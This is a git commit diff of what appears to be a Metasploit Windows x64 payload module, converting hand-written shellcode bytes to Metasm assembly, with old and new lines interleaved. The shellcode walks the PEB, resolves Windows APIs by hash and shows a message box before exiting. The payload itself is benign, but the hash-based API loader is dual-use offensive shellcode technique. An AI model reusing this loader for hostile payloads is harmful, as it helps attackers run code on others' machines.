new version using Metasm

GSoC/Meterpreter_Web_Console
pasta 2018-10-22 16:36:04 -03:00
parent 3a02e9e80f
commit 8d9bd33222
1 changed files with 118 additions and 110 deletions

View File

@ -6,7 +6,7 @@
# vim :set ts=4 sw=4 sts=4 et : # vim :set ts=4 sw=4 sts=4 et :
module MetasploitModule module MetasploitModule
CachedSize = 275 CachedSize = 299
include Msf::Payload::Windows include Msf::Payload::Windows
include Msf::Payload::Single include Msf::Payload::Single
@ -71,120 +71,128 @@ module MetasploitModule
style = 0x40 style = 0x40
end end
# exitfunc
if datastore['EXITFUNC'].upcase.strip == 'PROCESS' if datastore['EXITFUNC'].upcase.strip == 'PROCESS'
exitfunc = "\x48\x33\xC9" # xor rcx,rcx exitfunc_asm = %(
## mov r10d, 0x56a2b5f0 ; ExitProcess's hash xor rcx,rcx
exitfunc << "\x41\xBA" + [api_hash("kernel32.dll", "ExitProcess")].pack("<L") mov r10d, #{api_hash("kernel32.dll", "ExitProcess")}
exitfunc << "\xFF\xD5" # call rbp call rbp
)
elsif datastore['EXITFUNC'].upcase.strip == 'THREAD' elsif datastore['EXITFUNC'].upcase.strip == 'THREAD'
exitfunc = "\xBB\xE0\x1D\x2A\x0A" # mov ebx,0xa2a1de0 exitfunc_asm = %(
## mov r10d,0x9dbd95a6 ; kernel32.GetVersion mov ebx, #{api_hash("kernel32.dll", "ExitThread")}
exitfunc << "\x41\xBA" + [api_hash("kernel32.dll", "GetVersion")].pack("<L") mov r10d, #{api_hash("kernel32.dll", "GetVersion")}
exitfunc << "\xFF\xD5" # call rbp call rbp
exitfunc << "\x48\x83\xC4\x28" # add rsp,0x28 add rsp,0x28
exitfunc << "\x3C\x06" # cmp al,0x6 cmp al,0x6
exitfunc << "\x7C\x0A" # jl jl use_exitthread ; is older than Vista or Server 2003 R2?
exitfunc << "\x80\xFB\xE0" # cmp bl,0xe0 cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX
exitfunc << "\x75\x05" # jne jne use_exitthread
## mov ebx,0x6f721347 ; ntdll.RtlExitUserThread mov ebx, #{api_hash("ntdll.dll", "RtlExitUserThread")}
exitfunc << "\xBB" + [api_hash("ntdll.dll", "RtlExitUserThread")].pack("<L")
exitfunc << "\x6A\x00" # push 0 use_exitthread:
exitfunc << "\x59" # pop rcx push 0
exitfunc << "\x41\x89\xDA" # mov r10d,ebx pop rcx
exitfunc << "\xFF\xD5" # call rbp mov r10d,ebx
call rbp
)
end end
exitfunc = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_asm).encode_string
payload_data = "\xFC" # cld payload_asm = %(
payload_data << "\x48\x83\xE4\xF0" # and rsp,0xfffffffffffffff0 cld
payload_data << "\xE8\xC0\x00\x00\x00" # call offset to start_main and rsp,0xfffffffffffffff0
payload_data << "\x41\x51" # push r9 call start_main
payload_data << "\x41\x50" # push r8 push r9
payload_data << "\x52" # push rdx push r8
payload_data << "\x51" # push rcx push rdx
payload_data << "\x56" # push rsi push rcx
payload_data << "\x48\x31\xD2" # xor rdx,rdx push rsi
payload_data << "\x65\x48\x8B\x52\x60" # mov rdx,qword ptr gs:[rdx+0x60] xor rdx,rdx
payload_data << "\x48\x8B\x52\x18" # mov rdx,qword ptr ds:[rdx+0x18] mov rdx,qword ptr gs:[rdx+0x60]
payload_data << "\x48\x8B\x52\x20" # mov rdx,qword ptr ds:[rdx+0x20] mov rdx,qword ptr ds:[rdx+0x18]
# next_module: mov rdx,qword ptr ds:[rdx+0x20]
payload_data << "\x48\x8B\x72\x50" # mov rdx,qword ptr ds:[rdx+0x50] next_mod:
payload_data << "\x48\x0F\xB7\x4A\x4A" # movzx rcx,word ptr ds:[rdx+0x4a] mov rsi,qword ptr ds:[rdx+0x50]
payload_data << "\x4D\x31\xC9" # xor r9,r9 movzx rcx,word ptr ds:[rdx+0x4a]
# nextchar: xor r9,r9
payload_data << "\x48\x31\xC0" # xor rax,rax loop_modname:
payload_data << "\xAC" # lodsb xor rax,rax
payload_data << "\x3C\x61" # cmp al,0x61 lodsb
payload_data << "\x7C\x02" # jl uppercase cmp al,0x61
payload_data << "\x2C\x20" # sub al,0x20 jl not_lowercase
# uppercase: sub al,0x20
payload_data << "\x41\xC1\xC9\x0D" # ror r9d,0xd not_lowercase:
payload_data << "\x41\x01\xC1" # add r9d,eax ror r9d,0xd
payload_data << "\xE2\xED" # loop nextchar add r9d,eax
payload_data << "\x52" # push rdx loop loop_modname
payload_data << "\x41\x51" # push r9 push rdx
payload_data << "\x48\x8B\x52\x20" # mov rdx,qword ptr ds:[rdx+0x20] push r9
payload_data << "\x8B\x42\x3C" # mov eax,dword ptr ds:[rdx+0x3c] mov rdx,qword ptr ds:[rdx+0x20]
payload_data << "\x48\x01\xD0" # add rax,rdx mov eax,dword ptr ds:[rdx+0x3c]
payload_data << "\x8B\x80\x88\x00\x00\x00" # mov eax,dword ptr ds:[rax+0x88] add rax,rdx
payload_data << "\x48\x85\xC0" # test rax,rax mov eax,dword ptr ds:[rax+0x88]
payload_data << "\x74\x67" # je next_module test rax,rax
payload_data << "\x48\x01\xD0" # add rax,rdx je get_next_mod1
payload_data << "\x50" # push rax add rax,rdx
payload_data << "\x8B\x48\x18" # mov ecx,dword ptr ds:[rax+0x18] push rax
payload_data << "\x44\x8B\x40\x20" # mov r8d,dword ptr ds:[rax+0x20] mov ecx,dword ptr ds:[rax+0x18]
payload_data << "\x49\x01\xD0" # add r8,rdx mov r8d,dword ptr ds:[rax+0x20]
payload_data << "\xE3\x56" # jrcxz nexmodule+1 add r8,rdx
payload_data << "\x48\xFF\xC9" # dec rcx check_has:
payload_data << "\x41\x8B\x34\x88" # mov esi,dword ptr ds:[r8+rcx*4] jrcxz get_next_mod
payload_data << "\x48\x01\xD6" # add rsi,rdx dec rcx
payload_data << "\x4D\x31\xC9" # xor r9,r9 mov esi,dword ptr ds:[r8+rcx*4]
# find_function: add rsi,rdx
payload_data << "\x48\x31\xC0" # xor rax,rax xor r9,r9
payload_data << "\xAC" # lodsb loop_funcname:
payload_data << "\x41\xC1\xC9\x0D" # ror r9d,0xd xor rax,rax
payload_data << "\x41\x01\xC1" # add r9d,eax lodsb
payload_data << "\x38\xE0" # cmp al,ah ror r9d,0xd
payload_data << "\x75\xF1" # jne find_function add r9d,eax
payload_data << "\x4C\x03\x4C\x24\x08" # add r9,qword ptr ss:[rsp+0x8] cmp al,ah
payload_data << "\x45\x39\xD1" # cmp r9d,r10d jne loop_funcname
payload_data << "\x75\xD8" # jne add r9,qword ptr ds:[rsp+0x8]
payload_data << "\x58" # pop rax cmp r9d,r10d
payload_data << "\x44\x8B\x40\x24" # mov r8d,dword ptr ds:[rax+0x24] jne check_has
payload_data << "\x49\x01\xD0" # add r8,rdx pop rax
payload_data << "\x66\x41\x8B\x0C\x48" # mov cx,word ptr ds:[r8+rcx*2] mov r8d,dword ptr ds:[rax+0x24]
payload_data << "\x44\x8B\x40\x1C" # mov r8d,dword ptr ds:[rax+0x1c] add r8,rdx
payload_data << "\x49\x01\xD0" # add r8,rdx mov cx,word ptr ds:[r8+rcx*2]
payload_data << "\x41\x8B\x04\x88" # mov rax,dword ptr ds:[r8+rcx*4] mov r8d,dword ptr ds:[rax+0x1c]
payload_data << "\x48\x01\xD0" # add r8,rdx add r8,rdx
payload_data << "\x41\x58" # pop r8 mov eax,dword ptr ds:[r8+rcx*4]
payload_data << "\x41\x58" # pop r8 add rax,rdx
payload_data << "\x5E" # pop rsi pop r8
payload_data << "\x59" # pop rcx pop r8
payload_data << "\x5A" # pop rdx pop rsi
payload_data << "\x41\x58" # pop r8 pop rcx
payload_data << "\x41\x59" # pop r9 pop rdx
payload_data << "\x41\x5A" # pop r10 pop r8
payload_data << "\x48\x83\xEC\x20" # sub rsp,0x20 pop r9
payload_data << "\x41\x52" # push r10 pop r10
payload_data << "\xFF\xE0" # jmp rax sub rsp,0x20
payload_data << "\x58" # pop rax push r10
payload_data << "\x41\x59" # pop r9 jmp rax
payload_data << "\x5A" # pop rdx get_next_mod:
payload_data << "\x48\x8B\x12" # mov rdx,qword ptr ds:[rdx] pop rax
payload_data << "\xE9\x57\xFF\xFF\xFF" # jmp get_next_mod1:
# start_main: pop r9
payload_data << "\x5D" # pop rbp pop rdx
payload_data << "\x41\xB9" + [style].pack("<L") # push style mov rdx,qword ptr ds:[rdx]
## lea rdx,qword ptr ss:[rbp+offsetTEXT] jmp next_mod
payload_data << "\x48\x8D\x95" + [0xe0 + exitfunc.length].pack("<L") start_main:
## lea r8,qword ptr ss:[rbp+offsetTITLE] pop rbp
payload_data << "\x4C\x8D\x85" + [0xe1 + exitfunc.length + datastore['TEXT'].length].pack("<L") mov r9, #{style}
payload_data << "\x48\x33\xC9" # xor rcx,rcx lea rdx,qword ptr ds:[rbp + #{exitfunc.length + 0xf3}]
## mov r10d,0x07568345 ; MessageBoxA's hash lea r8,qword ptr ds:[rbp + #{exitfunc.length + datastore['TEXT'].length + 0xf4}]
payload_data << "\x41\xBA" + [api_hash("user32.dll", "MessageBoxA")].pack("<L") xor rcx,rcx
payload_data << "\xFF\xD5" # call rbp mov r10d, #{api_hash("user32.dll", "MessageBoxA")}
call rbp
)
payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string
payload_data << exitfunc payload_data << exitfunc
payload_data << datastore['TEXT'] + "\x00" payload_data << datastore['TEXT'] + "\x00"
payload_data << datastore['TITLE'] + "\x00" payload_data << datastore['TITLE'] + "\x00"